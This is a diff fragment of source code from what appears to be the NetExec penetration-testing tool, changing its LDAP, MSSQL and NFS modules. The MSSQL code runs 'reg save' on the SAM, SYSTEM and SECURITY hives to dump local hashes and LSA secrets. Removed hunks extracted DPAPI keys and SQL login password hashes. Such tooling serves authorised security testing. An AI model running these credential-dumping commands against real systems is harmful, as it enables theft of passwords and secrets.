||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None, None, None
|
||||
if not data:
|
||||
self.logger.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {self.hostname}")
|
||||
return None, None, None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
|
||||
@@ -10,7 +10,6 @@ def proto_args(parser, parents):
|
||||
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
|
||||
ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
|
||||
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
ldap_parser.add_argument("--schannel", action="store_true", help="Authenticate with the certificate using Schannel instead of PKINIT")
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
|
||||
@@ -5,7 +5,6 @@ from OpenSSL.SSL import SysCallError
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
@@ -19,7 +18,6 @@ class LDAPResolution:
|
||||
target = ""
|
||||
target_domain = ""
|
||||
base_dn = ""
|
||||
machine_name = ""
|
||||
try:
|
||||
ldap_url = f"ldap://{self.host}"
|
||||
nxc_logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
@@ -62,8 +60,5 @@ class LDAPResolution:
|
||||
else:
|
||||
nxc_logger.error(f"Error getting ldap info {e}")
|
||||
|
||||
machine_name = sanitize_dns(machine_name, nxc_logger).upper()
|
||||
target_domain = sanitize_dns(target_domain, nxc_logger)
|
||||
target = sanitize_dns(target, nxc_logger)
|
||||
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
return machine_name, target_domain, target
|
||||
return machine_name, target_domain
|
||||
+57
-184
@@ -1,22 +1,18 @@
|
||||
import os
|
||||
import random
|
||||
import contextlib
|
||||
import binascii
|
||||
from termcolor import colored
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.connection import requires_admin
|
||||
from nxc.helpers.misc import gen_random_string, sanitize_dns
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
from dploot.lib.network.mssql import MSSQLTarget as Target
|
||||
|
||||
from impacket import tds, ntlm
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.dcerpc.v5.dtypes import SID
|
||||
@@ -48,13 +44,6 @@ class mssql(connection):
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.no_ntlm = False
|
||||
self.encryption = None
|
||||
self.edition = ""
|
||||
self.version = ""
|
||||
self.dpapi_system_key = None
|
||||
self.no_da = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -153,15 +142,10 @@ class mssql(connection):
|
||||
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
|
||||
return False
|
||||
else:
|
||||
self.remoteName = self.host
|
||||
if challenge.startswith(b"NTLMSSP\x00"):
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -177,6 +161,8 @@ class mssql(connection):
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
@@ -320,7 +306,6 @@ class mssql(connection):
|
||||
self.logger.fail(self.conn.lastError)
|
||||
else:
|
||||
for data in raw_output:
|
||||
self.logger.highlight("--------------------")
|
||||
for key, value in data.items():
|
||||
if key:
|
||||
self.logger.highlight(f"{key}:{value}")
|
||||
@@ -505,65 +490,68 @@ class mssql(connection):
|
||||
return "[" + str(ident).replace("]", "]]") + "]"
|
||||
|
||||
def list_databases(self):
|
||||
query = """
|
||||
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
|
||||
FROM sys.databases d
|
||||
ORDER BY d.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
try:
|
||||
q = (
|
||||
"SELECT d.name AS DatabaseName, "
|
||||
" suser_sname(d.owner_sid) AS Owner "
|
||||
"FROM sys.databases d "
|
||||
"ORDER BY d.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(q) or []
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for row in rows:
|
||||
database_name = row.get("DatabaseName", "")
|
||||
owner = row.get("Owner", "")
|
||||
self.logger.highlight(f"{database_name:<30} {owner:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for r in rows:
|
||||
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate databases: {e}")
|
||||
self.logger.debug("list_databases error", exc_info=True)
|
||||
|
||||
def database(self):
|
||||
db_arg = self.args.database
|
||||
|
||||
# nxc --database (no value) -> list
|
||||
if self.args.database is True:
|
||||
if db_arg is True or db_arg is None:
|
||||
self.list_databases()
|
||||
return
|
||||
|
||||
# nxc --database <name> -> tables
|
||||
if isinstance(self.args.database, str):
|
||||
safe = self.args.database.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
|
||||
if isinstance(db_arg, str):
|
||||
try:
|
||||
safe = db_arg.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
|
||||
return
|
||||
|
||||
tq = (
|
||||
f"SELECT t.name AS TableName, t.modify_date "
|
||||
f"FROM {self._qname(db_arg)}.sys.tables t "
|
||||
f"ORDER BY t.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(tq) or []
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
|
||||
self.logger.debug("database() error", exc_info=True)
|
||||
return
|
||||
|
||||
query = f"""
|
||||
SELECT t.name AS TableName, t.modify_date
|
||||
FROM {self._qname(self.args.database)}.sys.tables t
|
||||
ORDER BY t.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
|
||||
if not rows:
|
||||
self.logger.display(f"Database [{self.args.database}] has no user tables.")
|
||||
self.logger.display(f"Database [{db_arg}] has no user tables.")
|
||||
return
|
||||
|
||||
self.logger.display(f"Tables in database: {self.args.database}")
|
||||
self.logger.display(f"Tables in database: {db_arg}")
|
||||
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
|
||||
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
|
||||
for row in rows:
|
||||
modify_date = row.get("modify_date", "")
|
||||
if modify_date and hasattr(modify_date, "strftime"):
|
||||
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
|
||||
for r in rows:
|
||||
mod = r.get("modify_date", "")
|
||||
if mod and hasattr(mod, "strftime"):
|
||||
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} table(s)")
|
||||
return
|
||||
|
||||
@@ -572,8 +560,7 @@ class mssql(connection):
|
||||
sam_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
|
||||
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{sam_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
try:
|
||||
@@ -604,12 +591,11 @@ class mssql(connection):
|
||||
SAM.export(output_filename)
|
||||
|
||||
@requires_admin
|
||||
def lsa(self, quiet=False):
|
||||
def lsa(self):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
|
||||
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{security_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
try:
|
||||
@@ -627,128 +613,15 @@ class mssql(connection):
|
||||
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
|
||||
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
|
||||
return
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
def lsa_secret_callback(_, secret):
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lsa_secret_callback,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
port=self.port,
|
||||
hashes=f":{self.nthash}",
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
use_kcache=self.use_kcache,
|
||||
aesKey=self.aesKey,
|
||||
db_auth=self.args.local_auth,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
|
||||
@requires_admin
|
||||
def db_hash(self):
|
||||
self.logger.display("Dumping local database users' hashes")
|
||||
query = """
|
||||
SELECT
|
||||
sp.name,
|
||||
CASE
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512'
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2'
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1'
|
||||
ELSE 'Unknown'
|
||||
END AS hash_type,
|
||||
sl.password_hash
|
||||
FROM sys.server_principals sp
|
||||
INNER JOIN sys.sql_logins sl
|
||||
ON sp.principal_id = sl.principal_id
|
||||
WHERE sp.type = 'S' -- uniquement les logins SQL
|
||||
AND sp.name NOT LIKE '##%'
|
||||
ORDER BY sp.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
return
|
||||
if not rows:
|
||||
self.logger.fail("No logins returned")
|
||||
return
|
||||
else:
|
||||
self.logger.display("Enumerated logins")
|
||||
self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}")
|
||||
self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}")
|
||||
for row in rows:
|
||||
name = row.get("name")
|
||||
hash_type = row.get("hash_type")
|
||||
password_hash = row.get("password_hash")
|
||||
if password_hash != "NULL":
|
||||
self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}")
|
||||
|
||||
def list_backups(self):
|
||||
self.logger.info("Dumping database backups")
|
||||
query = """
|
||||
SELECT
|
||||
bs.database_name,
|
||||
bs.server_name,
|
||||
bmf.physical_device_name AS backup_file_path,
|
||||
CASE
|
||||
WHEN bs.encryptor_type IS NULL THEN 'Unencrypted'
|
||||
ELSE 'Encrypted'
|
||||
END AS backup_encryption_status,
|
||||
bs.encryptor_type,
|
||||
bs.key_algorithm
|
||||
FROM msdb.dbo.backupset AS bs
|
||||
INNER JOIN msdb.dbo.backupmediafamily AS bmf
|
||||
ON bs.media_set_id = bmf.media_set_id
|
||||
INNER JOIN sys.databases AS d
|
||||
ON bs.database_name = d.name
|
||||
ORDER BY bs.backup_finish_date DESC;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
return
|
||||
if not rows:
|
||||
self.logger.fail("No backups returned")
|
||||
return
|
||||
else:
|
||||
self.logger.display("Enumerated backups")
|
||||
self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}")
|
||||
self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}")
|
||||
for row in rows:
|
||||
database_name = row.get("database_name").strip()
|
||||
is_encrypted = row.get("backup_encryption_status").strip()
|
||||
backup_file_path = row.get("backup_file_path").strip()
|
||||
self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}")
|
||||
@@ -1,7 +1,6 @@
|
||||
import warnings
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import SAWarning
|
||||
from sqlalchemy.orm import declarative_base
|
||||
@@ -20,8 +19,6 @@ class database(BaseDB):
|
||||
self.HostsTable = None
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@@ -78,32 +75,6 @@ class database(BaseDB):
|
||||
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
@@ -113,8 +84,6 @@ class database(BaseDB):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
|
||||
"""
|
||||
@@ -310,20 +279,6 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -398,113 +353,3 @@ class database(BaseDB):
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -16,10 +16,6 @@ def proto_args(parser, parents):
|
||||
cgroup = mssql_parser.add_argument_group("Credential Gathering")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes")
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
@@ -40,5 +36,4 @@ def proto_args(parser, parents):
|
||||
|
||||
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path")
|
||||
return parser
|
||||
+275
-292
@@ -5,22 +5,15 @@ from nxc.connection import connection
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.config import host_info_colors
|
||||
from pyNfsClient import (
|
||||
Portmap,
|
||||
Mount,
|
||||
NFSv3,
|
||||
)
|
||||
from pyNfsClient import NFSClient, discover_nfs_versions
|
||||
from pyNfsClient.kerberos import KerberosInitiator
|
||||
from pyNfsClient.const import (
|
||||
NFS_PROGRAM,
|
||||
NFS_V3,
|
||||
ACCESS3_READ,
|
||||
ACCESS3_MODIFY,
|
||||
ACCESS3_EXECUTE,
|
||||
NFSSTAT3,
|
||||
NFS3ERR_NOENT,
|
||||
NF3REG,
|
||||
)
|
||||
import re
|
||||
import uuid
|
||||
import math
|
||||
import os
|
||||
@@ -74,11 +67,14 @@ fsid_lens = {
|
||||
|
||||
class nfs(connection):
|
||||
def __init__(self, args, db, host):
|
||||
if args.nfs_auth in ("krb5", "krb5i", "krb5p"):
|
||||
args.kerberos = True
|
||||
self.protocol = "nfs"
|
||||
self.port = 111
|
||||
self.portmap = None
|
||||
self.mnt_port = None
|
||||
self.mount = None
|
||||
self.port = args.port or 2049
|
||||
self.nfs = None
|
||||
self.nfs_version = args.nfs_version
|
||||
self.nfs_versions = ()
|
||||
self.discovery = None
|
||||
self.auth = {
|
||||
"flavor": 1,
|
||||
"machine_name": uuid.uuid4().hex.upper()[0:6],
|
||||
@@ -86,6 +82,9 @@ class nfs(connection):
|
||||
"gid": 0,
|
||||
"aux_gid": [],
|
||||
}
|
||||
self.rpc_auth = self.auth if args.nfs_auth == "sys" else None
|
||||
self.authenticated = False
|
||||
self.credentials = None
|
||||
self.root_escape = None
|
||||
# If root escape is possible, the escape_share and escape_fh will be populated
|
||||
self.escape_share = None
|
||||
@@ -97,25 +96,59 @@ class nfs(connection):
|
||||
extra={
|
||||
"protocol": "NFS",
|
||||
"host": self.host,
|
||||
"port": self.port,
|
||||
"port": self.port or self.args.port or 2049,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
||||
def uses_kerberos(self):
|
||||
return self.args.nfs_auth in ("krb5", "krb5i", "krb5p")
|
||||
|
||||
@staticmethod
|
||||
def auth_snapshot(auth):
|
||||
if not isinstance(auth, dict):
|
||||
return auth
|
||||
auth = dict(auth)
|
||||
auth["aux_gid"] = tuple(auth.get("aux_gid", ()))
|
||||
return auth
|
||||
|
||||
def connect_nfs(self):
|
||||
if self.nfs is not None:
|
||||
return self.nfs
|
||||
port = self.args.port
|
||||
if port is None and self.nfs_version == "3" and self.discovery is not None:
|
||||
port = self.discovery.nfs3_port
|
||||
self.nfs = NFSClient(self.host, self.nfs_version, port, self.args.nfs_timeout, self.auth if self.uses_kerberos() and self.rpc_auth is None else self.rpc_auth)
|
||||
self.nfs.connect()
|
||||
self.conn = self.nfs
|
||||
self.port = self.nfs.port
|
||||
return self.nfs
|
||||
|
||||
def selected_root_handle(self):
|
||||
if self.root_escape and not self.args.share:
|
||||
self.logger.success(f"Successful escape on share: {self.escape_share}")
|
||||
return self.escape_fh
|
||||
if not self.args.share and self.nfs_version == "3":
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return None
|
||||
mount_info = self.nfs.root_handle(self.args.share or "/")
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.fail(f"Could not open share {self.args.share or '/'}: {self.nfs.status_name(mount_info['status'])}")
|
||||
return None
|
||||
return mount_info["mountinfo"]["fhandle"]
|
||||
|
||||
